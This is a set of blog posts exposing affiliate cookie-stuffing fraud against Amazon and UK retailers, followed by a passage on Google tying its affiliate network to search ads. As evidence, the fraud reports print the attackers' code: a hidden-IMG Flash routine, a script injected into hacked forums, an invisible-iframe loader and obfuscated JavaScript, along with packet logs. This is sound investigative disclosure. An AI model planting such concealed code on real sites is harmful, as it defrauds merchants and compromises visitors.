Category: affiliate marketing

Affiliate marketing, cost-per-action, and other performance-based payments.

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Flash-Based Cookie-Stuffer Using Google AdSense to Claim Unearned Affiliate Commissions from Amazon with Wesley Brandi

Merchants face special challenges when operating large affiliate marketing programs: rogue affiliates can claim to refer users who would have purchased from those merchants anyway. In particular, rogue “cookie-stuffer” affiliates deposit cookies invisibly and unrequested — knowing that a portion of users will make purchases from large merchants in the subsequent days and weeks. This tactic is particularly effective in defrauding large merchants: the more popular a merchant becomes, the more users will happen to buy from that merchant within a given referral period.

To cookie-stuff at scale, an attacker needs a reliable and significant source of user traffic. In February we showed a rogue affiliate hacking forum sites to drop cookies when users merely browse forums. But that’s just one of many strategies. I previously found various cookie-stuffing on sites hoping to receive search traffic. In a 2009 complaint, eBay alleges that rogue affiliates used a banner ad network to deposit eBay affiliate cookies when users merely browsed web pages showing certain banner ads. See also my 2008 report of an affiliate using Yahoo’s Right Media ad network to deposit multiple affiliate cookies invisibly — defrauding security vendors McAfee and Symantec.

As the eBay litigation indicates, display advertising networks can be a mechanism for cookie-stuffing. Of course diligent ad networks inspect ads and refuse cookie-stuffers (among other forms of malvertising). So we were particularly surprised to see Google AdSense running ads that cookie-stuff Amazon.

The 'Review Different Headphones' ad actually drops Amazon Associates affiliate cookies.
This innocuous-looking banner ad sets Amazon Associates cookies invisibly.
The Imgwithsmiles attack

We have uncovered scores of web sites running the banner ad shown at right. On 40 sites, on various days from February 6 to May 2, our crawlers found this banner ad dropping Amazon Associates affiliate cookies automatically and invisibly. All 40 sites include display advertising from Google AdSense. Google returns a Flash ad from Imgwithsmiles. To an ordinary user, the ad looks completely innocuous — the unremarkable “review different headphones” image shown at right. However, the ad actually creates an invisible IMG (image) tag loading an Amazon Associates link and setting cookies accordingly. Here’s how:

First, the ad’s Flash code creates an invisible IMG tag (10×10 pixels) (yellow highlighting below) loading the URL http://imgwithsmiles.com/img/f/e.jpg (green).

function Stuff() {
  if (z < links.length) {
    txt.htmltext = links[z];
    z++;
    return(undefined);
  }
  clearinterval(timer);
}
links = new array();
links[0] = "<img src="http://imgwithsmiles.com/img/f/e.jpg" width="10" height="10"/>";z = 0;timer = setinterval(Stuff, 2000);

While /img/f/e.jpg features a .jpg extension consistent with a genuine image file, it is actually a redirect to an Amazon Associates link. See the three redirects preserved below (blue), including a tricky HTTPS redirect (orange) that would block many detection systems. Nonetheless, traffic ultimately ends up at Amazon with an Associates tag (red) specifying that affiliate charslibr-20 is to be paid for these referrals.

GET /img/f/e.jpg HTTP/1.0
Accept: */*
Accept-Language: en-US
Referer: http://pagead2.googlesyndication.com/pagead/imgad?id=CICAgICQvuXgahDQAhiYAjII3bQHU19r_Isx-flash-version: 10,3,183,7User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; ...)Host: imgwithsmiles.comConnection: Keep-AliveHTTP/1.1 302 Moved TemporarilyDate: Wed, 02 May 2012 19:56:59 GMTServer: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=174272468a212dd0862eabf8d956e4e0; path=/
Location: https://imgwithsmiles.com/img/kick/f/e.jpg
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html-


HTTPS redirect decoded via separate manual request


GET /img/kick/f/e.jpg HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: ...
Accept-Encoding: gzip, deflate
Host: imgwithsmiles.com
Connection: Keep-AliveHTTP/1.1 302 Moved Temporarily
Date: ...
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
X-Powered-By: PHP/5.2.17
Location: http://imgwithsmiles.com/img/t/f/e.jpg
Content-Length: 0
Connection: close
Content-Type: text/html-GET /img/t/f/e.jpg HTTP/1.0
Accept: */*
Accept-Language: en-US
x-flash-version: 10,3,183,7
User-Agent: Mozilla/4.0 (compatible; ...)
Connection: Keep-Alive
Host: imgwithsmiles.com
Cookie: PHPSESSID=174272468a212dd0862eabf8d956e4e0HTTP/1.1 302 Moved TemporarilyDate: Wed, 02 May 2012 19:56:59 GMT
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.amazon.com/gp/product/B002L3RREQ?ie=UTF8&tag=charslibr-20
Content-Length: 0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

If a user happens to make a purchase from Amazon within the subsequent 24 hours, Amazon will pay a commission to this affiliate — even though the affiliate did nothing at all to cause or encourage the user to make that purchase.

Does Amazon know?

The available information does not reveal whether or not Amazon knew about this affiliate’s practices. Nor can we easily determine whether, as of the May 2, 2012 observations presented above, this affiliate was still in good standing and receiving payment for the traffic it sent to Amazon.

On one hand, Amazon is diligent and technically sophisticated. Because Amazon runs one of the web’s largest affiliate programs, Amazon is necessarily familiar with affiliate fraud. And Amazon has ample incentive to catch affiliate fraud: Every dollar paid to fraudulent affiliates is money completely wasted, coming straight from the bottom line.

On the other hand, we have observed this same affiliate cheating Amazon for three months nonstop. All told, we’ve seen this affiliate rotating through 49 different Associates IDs. If Amazon had caught the affiliate, we would have expected the affiliate to shift away from any disabled affiliate accounts, most likely by shifting traffic to new accounts. Of the 28 Associates IDs we observed during February 2012, we still saw 6 in use during May 2012 (month-to-date) — suggesting that while Amazon may be catching some of the affiliate’s traffic, Amazon probably is not catching it all.

A further indication of the affiliate’s earnings comes from the affiliate’s willingness to incur out-of-pocket costs to buy media (AdSense placements from Google) with which to deliver Amazon cookies. As best we can tell, Amazon is the affiliate’s sole source of revenue. Meanwhile, the affiliate must pay Google for the display ad inventory the affiliate receives. These direct incremental costs give the affiliate a clear incentive to cease operation if it concludes that payment from Amazon will not be forthcoming. From the affiliate’s ongoing actions we can infer that the affiliate finds this scheme profitable — that its earnings to date have exceeded its expenses to date.

How profitable is this affiliate’s attack? Conservatively, suppose 40% of users are Amazon shoppers and make an average of four purchases from Amazon per year. Then 0.4*4/365=0.44% of users are likely to make purchases from Amazon in any given 24-hour period. Suppose the affiliate buys 1,000,000 CPM impressions from Google. Then the affiliate will enjoy commission on 0.44%*1,000,000=4,384 purchases. At an average purchase size of $30 and a 6.5% commission, this would be $8,547 of revenue per million cookie-stuffing incidents. How much would the affiliate have to pay Google for 1,000,000 CPM impressions? We’ve seen this affiliate on a variety of sites, but largely sites in moderate to low-priced verticals. At $2 CPM, the affiliate’s costs would be $2,000 — meaning the affiliate would still be slightly profitable even if Amazon caught 3/4 of its affiliate IDs before the first payment!

We alerted our contact at Amazon Associates to our observations. We will update this post with any information Amazon provides.

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Search My Logs of Affiliate Fraud

Since 2004, I’ve been tracking and reporting all manner of rogue affiliates — using spyware and adware to cover competitors’ sites; using trickier spyware and adware to claim commission on merchants’ organic traffic; typosquatting; stuffing cookies through invisible IFRAME’s and IMG’s, banner ads, and even hacked forum sites; and the list goes on. I now have automation catching these practices in ever-increasing quantities.

While I’ve written up dozens of rogue affiliates on this site and in various presentations, today Wesley Brandi and I are introducing something better: query-based access to our records of affiliate fraud targeting top affiliate merchants. Enter a merchant’s domain name, and we’ll tell you how much affiliate fraud we’ve seen targeting that domain — handy for merchants wanting to check whether their program is clean, and for affiliates wanting to confirm the trustworthiness a program they’re considering promoting. We’re not currently posting details of the specific perpetrators, but we have affiliate ID numbers, domain names, and packet log proof on file for each violator, and we can provide these upon request.

Take a look:

Affiliate Fraud Information Lookup
(2015 update: service no longer operational)

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Hack-Based Cookie-Stuffing by Bannertracker-Script with Wesley Brandi

Last month we presented an example cookie-stuffer using encoded JavaScript to drop scores of cookies invisibly. But how can such a cookie-stuffer get traffic to its site? Today’s example is particularly nefarious: Perpetrators using server bannertracker-script.com have hacked at least 29 different online discussion forums to add invisible code that lets them cookie-stuff forum visitors. Through this approach, perpetrators have gained access to a particularly large amount of traffic — letting them target all the more users.

Getting Traffic to Bannertracker-script

The perpetrators appear to be targeting a documented exploit in vBulletin (a popular forum discussion program built in PHP/MySQL) versions v4.x to v4.1.2. The exploit allows for a remote attacker to execute arbitrary PHP script as well as untrusted SQL queries. It was first reported in German in April 2011, then in English in January 2012. A video tutorial even offers step-by-step instructions on how to use this exploit.

Our automation systems have examined more than 500,000 sites, searching for code promoting the cookie-stuffers we are following. We have found numerous affected sites, including sites as popular as searchenginewatch.com (Alexa traffic rank #2045), webdeveloper.com (#2822) and redflagdeals.com (#3188) along with many more. Selected pages of these sites (typically the forum pages) embed hostile code from Bannertracker-script.

In each instance, the hostile code appears as a brief JavaScript addition to an otherwise-legitimate site. See the single line of inserted code highlighted in yellow below. Notably, the hostile code appears within a block of code embedding comScore tags (green highlighting below) — a place where site designers expect to see external JavaScript references, making the Bannertracker-script insertion that much less likely to be detected.

<!– Begin comScore Tag –>
<script type=”text/javascript” src=”http://www.bannertracker-script.com/banner/ads.php?a=big”></script>
<script type=”text/javascript”>document.write(“<img id=’img1′ height=’1′ width=’1′>”);
document.getElementById(“img1”).src=”http://beacon.scorecardresearch.com/scripts/beacon.dll? C1=2&C2=5915554&C3=5915554&C4=www.redflagdeals.com &C5=&C6=&C7=” + escape(window.location.href) + “&C8=” + escape(document.title) + “&C9=” + escape(document.referrer) + “&rn=” + Math.floor(Math.random()*99999999);</script><!– End comScore Tag –>

Examining Bannertracker-script insertions on other sites, we found them in other inconspicuous places — for example, just before the </HTML> tag that ends a page.

Cookie-Stuffing by Bannertracker-script

As a result of the hack-based code insertion shown above, a user visiting any affected site receives Bannertracker-script code also. That code creates an invisible IFRAME which loads the Amazon site via an affiliate link. Here’s how: First, the code creates a doubly-invisible DIV (CSS style of display:hidden and visibility:none, shown in blue highlighting below). The code then creates an invisible IFRAME within that DIV (CSS display:none, visibility:hidden, size of 0x0 pixels, shown in purple highlighting below). The code instructs that the DIV load a URL on Http-uptime.com (grey) which redirects through to an Amazon Associates affiliate link with affiliate ID camerlucidpho-20 (red). See also the full packet log.

GET /banner/ads.php?a=big HTTP/1.1 …
Referer: http://forums.redflagdeals.com/ …
Host: www.bannertracker-script.com

HTTP/1.1 200 OK …
GPad = {
init: function () {
document.write(‘<div id=”GPAD” style=”visibility:hidden; display:none;”></div>’);
var frame = document.createElement(‘iframe’);
frame.setAttribute(‘src’, ‘http://www.http-uptime.com/banner/index.php‘);
frame.setAttribute(‘style’, ‘display:none; width: 0px; height 0px; border: none; visibility:hidden‘);
frame.style.visibility = ‘hidden’;
frame.style.display = ‘none’;
var div = document.getElementById(‘GPAD’);
div.appendChild(frame);
}
}
GPad.init();

—

GET /index.php HTTP/1.1 …
Referer: http://forums.redflagdeals.com/ …
Host: www.http-uptime.com

HTTP/1.1 200 OK …
<html><head><meta http-equiv=”refresh” content=”0;url=http://www.http-uptime.com/icons/blank.php?url=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fsearch%3Fie%3DUTF8%26keywords%3D%26tag%3Dcamerlucidpho-20%26index%3Dpc-hardware%26linkCode%3Dur2%26camp%3D1789%26creative%3D932″ />
</head></html>

—

GET /icons/blank.php?url=http%3A%2F%2Fwww.amazon.com%2Fgp%2Fsearch%3Fie%3DUTF8%26keywords%3D%26tag%3Dcamerlucidpho-20%26index%3Dpc-hardware%26linkCode%3Dur2%26camp%3D1789%26creative%3D932 HTTP/1.1 …
Host: www.http-uptime.com …

HTTP/1.1 302 Moved Temporarily …
Location: http://www.amazon.com/gp/search?ie=UTF8&keywords=&tag=camerlucidpho-20&index=pc-hardware&linkCode=ur2&camp=1789&creative=932

The net effect is to load Amazon’s site invisibly. Amazon operates using a 24-hour referral period, so if a user happened to make a purchase from Amazon within the next 24 hours, Amazon would credit this affiliate as the putative referer of the traffic — paying this affiliate a commission of at least 4% and as much as 15%.

Concealment by Bannertracker-script

The preceding discussion noted two mechanisms by which Bannertracker-script attempted to conceal its actions. First, it placed its tags within the comScore section of affected sites, where unfamiliar code is less likely to attract suspicion. Second, it loaded its tags invisibly, including via the multiple nested invisible elements detailed above. Still, by sending so much to Amazon, Bannertracker-script clearly recognized that it risked attracting scrutiny from Amazon, which might question how one affiliate obtained so much traffic. Bannertracker-script therefore turned to multiple Amazon Associates ID’s. In our testing, we found more than 200 such IDs of which we report 20 below:

abacemedi-20 aledesoftw-20 anybr-20 arizonosteopc-20  
actkid-20 allesbluefree-20 apa0c5-20 artofdri-20
adirooutdocom-20    alsjopa-20 apitherapy03-20   astba-20
afrkilbeemov-20 amergumbmachc-20    apitroservic-20 atlcitgam-20
ajelcand-20 ancestorville-20 arasmazi-20 babblu-20

Using multiple IDs raises a further risk for Bannertracker-script: A diligent investigator might request the Bannertracker-script site repeatedly in order to attempt to learn most or all of Bannertracker-script’s IDs. Bannertracker-script attempted to reduce this risk via server-side logic to avoid serving the same user with two different ID’s, based on variables that seem to include client IP address, HTTP User-agent header, and more.

In principle, investigators might recognize Bannertracker-script by its distinctive domain name. But in fact we have seen this perpetrator also using other domain names. (We refer to the perpetrator as Bannertracker-script because that was the first such domain we found and, in our testing, still the most frequent.)

Affected Merchants

To date, we have primarily seen Bannertracker-script targeting Amazon. But other merchants are vulnerable to similar attacks that drop a large number of cookies invisibly in hopes that users make purchases from the corresponding merchants. In this regard, large merchants are particularly vulnerable: The more popular a merchant is, the greater the likelihood of a given user making a purchase from that merchant in a given time period. Indeed, we have also seen Bannertracker-script using the same technique to drop cookies for several adult web sites

Amazon’s exposure is somewhat reduced by its 24-hour affiliate commission window — paying commission to affiliates only on a user’s purchases within 24 hours of invocation of an affiliate link, whereas other merchants often grant credit for as long as 30 days. But Amazon’s large and growing popularity limits the effectiveness of this measure. Conservatively, suppose 40% of users are Amazon shoppers and make an average of four purchases from Amazon per year. Then 0.4*4/365=0.44% of users are likely to make purchases from Amazon in any given 24-hour period. If Bannertracker-script can deposit one million Amazon cookies, via hacks of multiple popular sites, it will enjoy commission on 0.44%*1,000,000=4,384 purchases. At an average purchase size of $30 and a 6.5% commission, this would be $8,547 of revenue per million cookie-stuffing incidents — substantial revenue, particularly given the prospect of hacking other vulnerable web sites. Ordinarily, one might expect Amazon to notice a new affiliate with a large spike in earnings. But by spreading its commissions across hundreds of affiliate accounts, Bannertracker-script may avoid or deflect such scrutiny.

We have reported this matter to our contacts at Amazon and will update this post with any information Amazon cares to share.

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Large-Scale Cookie-Stuffing at Eshop600.co.uk with Wesley Brandi

We have recently been testing web sites that drop affiliate cookies invisibly — claiming to have referred users to the corresponding merchants’ sites, when in fact users never asked to visit the merchants’ sites and never saw the merchants’ sites. Nonetheless, through invisible IFRAMEs, invisible IMG tags, and similar constructs, these pages manage to set affiliate cookies indicating that referrals occurred. Then, if users happen to make purchases from the targeted merchants, the cookie-stuffers collect affiliate commissions. With commissions as large as 40%, this tactic can be lucrative.

One large offender we recently found: Eshop600.co.uk. In automated and manual testing, we found 36 pages on the Eshop600 site, including the site’s home page, which drop dozens of cookies invisibly. To a user glancing at a web browser, the Eshop600 site looks perfectly normal:

The Eshop600 site

But within the affected Eshop600 pages are 26 blocks of encoded JavaScript code. An example:

var i,y,x="3c696d672069643d22706963333722207372633d22....";y="";var _0x70c3=["x6Cx65x6Ex67x74x68","x25","x73x75x62x73x74x72","x77x72x69x74x65"];for(i=0;i<x[_0x70c3[0]];i+=2){ y+=unescape(_0x70c3[1]+x[_0x70c3[2]](i,2));} ;document[_0x70c3[3]](y);

We decoded this JavaScript to find an invisible IMG tag.

<img width="75" height="100" id="pic37" style="display: none;" alt=" " src="http://www.tkqlhce.com/click-3910892-5590799"/>

Note the CSS STYLE of display:none (yellow highlighting) which makes the entire tag invisible. In any event, the 75×100 size (green highlighting) is too small to load a genuine web page. Nonetheless, a trace of the redirect sequence shows that the IMG does indeed redirect through an affiliate network (ValueClick’s Commission Junction) (red) and on to an affiliate merchant (blue).

GET /click-3910892-5590799 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateHost: www.tkqlhce.comConnection: Keep-AliveHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.tkqlhce.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:02 GMTLocation: http://www.apmebf.com/oq68y1A9S/18D/VVZQXZZ/TZRQYZS/Q/Q/Q?i=y<<7JJF%3A%2F%2FMMM.JAGB724.2EC%3AYQ%2F2B82A-TZRQYZS-VVZQXZZ<<g<7JJF%3A%2F%2FMMM.4I7EFWQQ.2E.KA%2F38I2EKDJ-LEK274H-2E34I.7JCB<Content-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:01 GMT---GET /oq68y1A9S/18D/VVZQXZZ/TZRQYZS/Q/Q/Q?i=y<<7JJF%3A%2F%2FMMM.JAGB724.2EC%3AYQ%2F2B82A-TZRQYZS-VVZQXZZ<<g<7JJF%3A%2F%2FMMM.4I7EFWQQ.2E.KA%2F38I2EKDJ-LEK274H-2E34I.7JCB< HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateConnection: Keep-AliveHost: www.apmebf.comHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.apmebf.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:07 GMTLocation: http://www.kdukvh.com/rb101ox54P/x38/QQULSUU/OUMLTUN/L/MADTPECKMRPTMTONUQKMONSTTOMRSQQPKSL/LLTzyMTvPvyUMMzMTLNvLLNOvz--MQxN?u=x<dkp!j8bl-u5it4xtn<iuuq%3A%2F%2Fxxx.ulrmidf.dpn%3A91%2Fdmjdl-4A219A3-66A18AA<<H<iuuq%3A%2F%2Fxxx.ftipq711.dp.vl%2Fejtdpvou-wpvdifs-dpeft.iunm<Set-Cookie: S=1qt84us-1648183295-1327883167554-70; domain=.apmebf.com; path=/; expires=Sat, 28-Jan-2017 00:26:07 GMTSet-Cookie: LCLK=cjo!i7ak-t4hs3wsm; domain=.apmebf.com; path=/; expires=Sat, 28-Jan-2017 00:26:07 GMTContent-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:07 GMT---GET /rb101ox54P/x38/QQULSUU/OUMLTUN/L/MADTPECKMRPTMTONUQKMONSTTOMRSQQPKSL/LLTzyMTvPvyUMMzMTLNvLLNOvz--MQxN?u=x<dkp!j8bl-u5it4xtn<iuuq%3A%2F%2Fxxx.ulrmidf.dpn%3A91%2Fdmjdl-4A219A3-66A18AA<<H<iuuq%3A%2F%2Fxxx.ftipq711.dp.vl%2Fejtdpvou-wpvdifs-dpeft.iunm< HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: http://www.eshop600.co.uk/discount-voucher-codes.htmlAccept-Language: en-USUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Accept-Encoding: gzip, deflateConnection: Keep-AliveHost: www.kdukvh.comHTTP/1.1 302 FoundServer: Resin/3.1.8P3P: policyref="http://www.kdukvh.com/w3c/p3p.xml", CP="ALL BUS LEG DSP COR ADM CUR DEV PSA OUR NAV INT"Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheExpires: Mon, 30 Jan 2012 00:26:18 GMTLocation: http://www.argos.co.uk/webapp/wcs/stores/servlet/ArgosCreateReferral?storeId=10001&referrer=COJUN&cmpid=COJUN&referredURL=&_%24ja=tsid%3A11674%7Cprd%3A3910892Set-Cookie: LCLK=cjo!i7ak-t4hs3wsm; domain=.kdukvh.com; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTSet-Cookie: S=1qt84us-1648183295-1327883167554-70; domain=.kdukvh.com; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTSet-Cookie: PBLP=849260:3910892:1327883178648:cjo; path=/; expires=Sat, 28-Jan-2017 00:26:18 GMTContent-Type: text/htmlConnection: closeTransfer-Encoding: chunkedDate: Mon, 30 Jan 2012 00:26:18 GMT

Of course www.argos.co.uk is just one of dozens of merchants affected. Below are 26 merchants we’ve found targeted by Eshop600, including merchants using affiliate networks Affiliate Window (AW), Commission Junction (CJ), TradeDoubler (TD), and Perfiliate (now owned by Affiliate Window).

direct.asda.com (AW) www.britishairways.com (AW)
www.dorothyperkins.com (AW) www.screwfix.com (AW)
groceries.asda.com (Perfiliate) www.burton.co.uk (AW)
www.evans.co.uk (AW) www.sky.com (AW)
phone-shop.tesco.com (TD) www.comet.co.uk (AW)
www.halfords.com (AW) www.tesco.com (TD)
store.three.co.uk (Perfiliate) www.currys.co.uk (AW)
www.hsamuel.co.uk (AW) www.vodafone.co.uk (AW)
www.annsummers.com (AW) www.debenhams.com (AW)
www.johnlewis.com (AW) www.wilkinsonplus.com (AW)
www.argos.co.uk (CJ) www.dixons.co.uk (AW)
www.missselfridge.com (AW) www.asda.co.uk (Perfiliate)
www.diy.com (AW) www.pcworld.co.uk (AW)  

Beyond encoded JavaScript, Eshop600 also tried other methods to avoid detection. Load an Eshop600 page repeatedly, and it won’t stuff cookies every time; the site is clearly attempting to recognize repeat visitors to avoid restuffing the same users more than once. That makes Eshop600’s practice harder to replicate (an extra challenge for anyone trying to prove an infraction) and helps reduce telltale signs in merchants’ logs.

On one view, these practices are nothing new: Ben has been writing these up since 2004. But affiliate merchants and networks need to remain vigilant to catch these cheaters. We’re finding many dozens of affiliate cookie-stuffers per month, along with other rogue affiliates using spyware/adware, typosquatting, and more. It’s not unusual for cheaters to be among a merchants’ largest affiliates; for example, the 2010 indictment of Shawn Hogan alleges that he was the single largest affiliate in eBay’s affiliate program in 2006-2007, collecting more than $15 million over 18 months. Now, most affiliate programs are far smaller than eBay’s, yielding a correspondingly lower opportunity for fraud. But for mid-sized merchants, there are typically large savings in catching and ejecting all rule-breakers.

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Tying Google Affiliate Network

Disclosure: I serve as co-counsel in unrelated litigation against Google, Vulcan Golf et al. v. Google et al. I also serve as a consultant to various companies that compete with Google. But I write on my own — not at the suggestion or request of any client, without approval or payment from any client.

In one of the few areas of Internet advertising where Google is not dominant – where just three years ago Google had no offering at all – Google now uses tying to climb towards a position of dominance. In particular, using its control over web search, Google offers preferred search ad placement and superior search ad terms to the advertisers who agree to use Google Affiliate Network. Competing affiliate networks cannot match these benefits, and Google’s bundling strategy threatens to grant Google a position of power in yet another online advertising market.

Google shows algorithmic search results at the left side of users’ screens, while Google’s “AdWords” ads appear at the right and, often, top. Historically, Google has sold search ads on a cost-per-click basis: An advertiser is charged each time a user clicks its ad. With these offerings, Google has grown to a position of dominance in search and in search advertising — 77% share of U.S. web search in the US, with even higher levels in other countries.

While Google dominates online search, Google to date has made less headway in the area of affiliate marketing, an approach to online advertising wherein small to midsized sites (“affiliates”) receive payments paid if users click links and make purchases from the corresponding merchants. For example, Gap pays a 2% to 4% commission if a user clicks an affiliate link to Gap and goes on to make a purchase. While almost all of the web’s largest merchants run affiliate programs, as of the start of 2007 Google offered no affiliate marketing services. Only through its mid-2007 acquisition of DoubleClick did Google obtain an affiliate marketing program, then called Performics and now renamed Google Affiliate Network (GAN). But Google’s affiliate network began in third place in the US market — behind larger competitors Commission Junction and LinkShare.

Google now grants GAN advertisers preferred placement in search results. Notice that the three GAN ads appear with images, whereas ordinary AdWords ads show only text. And Google places all GAN image ads at the top of the right rail -- above all right-side AdWords ads. Beginning in November 2009, Google’s Product Listing Ads service gave GAN major advantages over competing affiliate networks. Within search ads, Google now includes listings not just to Google’s AdWords pay-per-click advertisers, but also to GAN advertisers. Through these placements, Google offers GAN advertisers four striking and valuable benefits:

  • Image ads. AdWords advertisements show only text. But GAN advertisements include an image — making GAN offers stand out in search results. See the three image ads highlighted in red in the screenshot at right.
  • Preferred placement. AdWords advertisements are ordered, Google says, based on how much each advertiser bids as well as Google’s assessment of ad relevance, click-through rate, and other factors known only to Google. But in my testing, all GAN ads appear at the top of the “right rail” of side listings — prominent, highly visible screen space that gets more attention than any AdWords listings below. Indeed, by pushing AdWords ads further down the page, GAN ads reduce the value of the AdWords slots. In the screenshot at right, notice that all three GAN image ads appear above all the right-rail AdWords ads.
  • Conversion-contingent payment. AdWords advertisers continue to pay on a per-click basis, incurring costs as soon as a user clicks a link. In contrast, GAN advertisers only have to pay if a user clicks a link and purchases a product.
  • Preferred payment terms. Because AdWords advertisers pay as soon as a user clicks, they must pay for users’ clicks even if servers malfunction, even if credit card processors reject users’ charges, and even if users return their orders or initiate chargebacks. In contrast, in all these circumstances, GAN advertisers incur no advertising costs at all.

I expect Google will argue that it is within its rights to package, bundle, and tie its products as it sees fit. I disagree. Here, Google ties its search offering to its affiliate network without an apparent pro-competitive purpose but with obvious anti-competitive effects. In particular, tying affiliate network services to preferred search ad format and placement gives GAN an advantage over competing affiliate networks, without efficiencies or other countervailing benefits to users or advertisers.

Furthermore, there is no plausible justification for providing image ads only to GAN advertisers or for granting all GAN ads positions above all right-side AdWords ads. To the contrary, Google could easily allow all AdWords ads to include images, and Google could instead intersperse GAN ads (and ads from other affiliate networks) among AdWords advertisements in whatever order auctions and algorithms fairly deem optimal. Those would be the natural product design decisions if Google genuinely sought to include images wherever useful and if Google genuinely sought to include affiliate ads whenever relevant. Because Google instead reserves these benefits for GAN advertisers, the natural inference is that Google reserves special rewards for advertisers choosing GAN — benefits that come at the expense of genuine competition in affiliate marketing services.

In the remainder of this piece, I discuss why the public should be concerned about Google’s tying tactics, then assess Google’s tying-based promotion of its various other products. I conclude with brief policy prescriptions.

Cause for Concern

I see four major reasons for concern in Google’s decision to tie GAN to preferred placements, format, and terms in sponsored search.

First, GAN’s tying threatens to extend Google’s dominance into yet another facet of online advertising. Google’s dominance in search and search advertising is well-known. But affiliate marketing is a rare area where, until recently, Google had little or no presence. By leveraging its dominance in search to take over yet another type of online advertising, Google will importantly limit advertisers’ options. Today, advertisers unhappy with Google’s AdWords prices or rules can consider working with independent web sites through affiliate programs not operated by Google. But if Google comes to dominate affiliate marketing, then even affiliate marketing will become unavailable to advertisers dissatisfied with Google. Indeed, knowing that it dominates multiple aspects of online advertising, Google will be in a position to raise prices that much further.

Second, GAN’s tying harms those AdWords advertisers who refuse GAN and buy only pay-per-click ads from Google. The more GAN ads Google puts above ordinary AdWords listings, the less visible AdWords advertisers become. AdWords advertisers are at a further disadvantage when Google gives image ads to GAN advertisers but not AdWords advertisers, and when Google offers preferred terms (e.g. refunds of advertising costs if a user returns a product) to GAN advertisers but not AdWords advertisers. Google promises that “the highest ranked ad is displayed in the most prominent position,” but when Google gives GAN ads the top positions, ordinary AdWords advertisers are left bidding on the leftovers. And as Google makes its left-side listings increasingly visual — inline maps, images, product pictures, video thumbnails, and more — advertisers need images to capture users’ attention. So AdWords-only advertisers, without image-based ads, end up at a significant disadvantage.

Third, for nearly a year Google has offered the Product Listing Ads benefits in “limited beta” available only to “a small number of participants” Google selects. In fact I’ve seen numerous advertisers, large and small, promoted in Product Listing Ads. But it is striking to see Google offer preferred listings only to those advertisers Google chooses to favor. Elsewhere Google argues that its auction-based ad sales are “equitable.” But when Google gives superior placement to its preferred advertisers, for nearly a year, Google’s rules seem the opposite of fair.

Finally, GAN’s tying is particularly worrisome in the context of other Google tactics. As detailed in the next section, Google uses and has used bundling and tying to enter and dominate numerous markets. If these tactics continue unchecked, we face a future where Google’s dominance stretches even further.

Google’s Tying Strategy More Broadly

Tying GAN to search is just one example of Google’s oft-repeated tactic of forcing customers who want one Google service to accept additional Google services too. This section presents a series of such examples.

Throughout, these tying examples fit the following form:

A [user type] who wants [desirable Google service] must also accept [unwanted Google service].

I now turn to specifics.

Tying to promote affiliate marketing services: An advertiser who wants top placement in Google search advertisements, image ads, and preferred payment terms must join Google Affiliate Network.

Details: See above.

Tying to promote low-quality syndicated search marketing services: An advertiser who wants placement through high-quality Google Search Network sites must also accept low-quality Google Search Network placements.

Details: Google’s Search Network includes some top-quality publishers such as AOL Search and New York Times. But if an advertiser contracts to advertise through Google Search Network, Google demands permission to also place the advertiser’s ads on whatever other sites Google selects, in whatever quantity Google chooses. Many of these placements are low-quality or worthless, including spyware popups, typosquatting sites, and deceptive toolbars. Many of these placements trick advertisers into believing they are receiving valuable traffic when in fact the traffic consists of users the advertisers had already reached or would receive anyway. Even if an advertiser learns about these problems, the advertiser must continue to pay for this traffic, on pain of losing access to Google’s high-quality search partners.

Tying to promote vertical search: A user who wants Google’s core algorithmic search results must also accept Google’s own vertical search results.

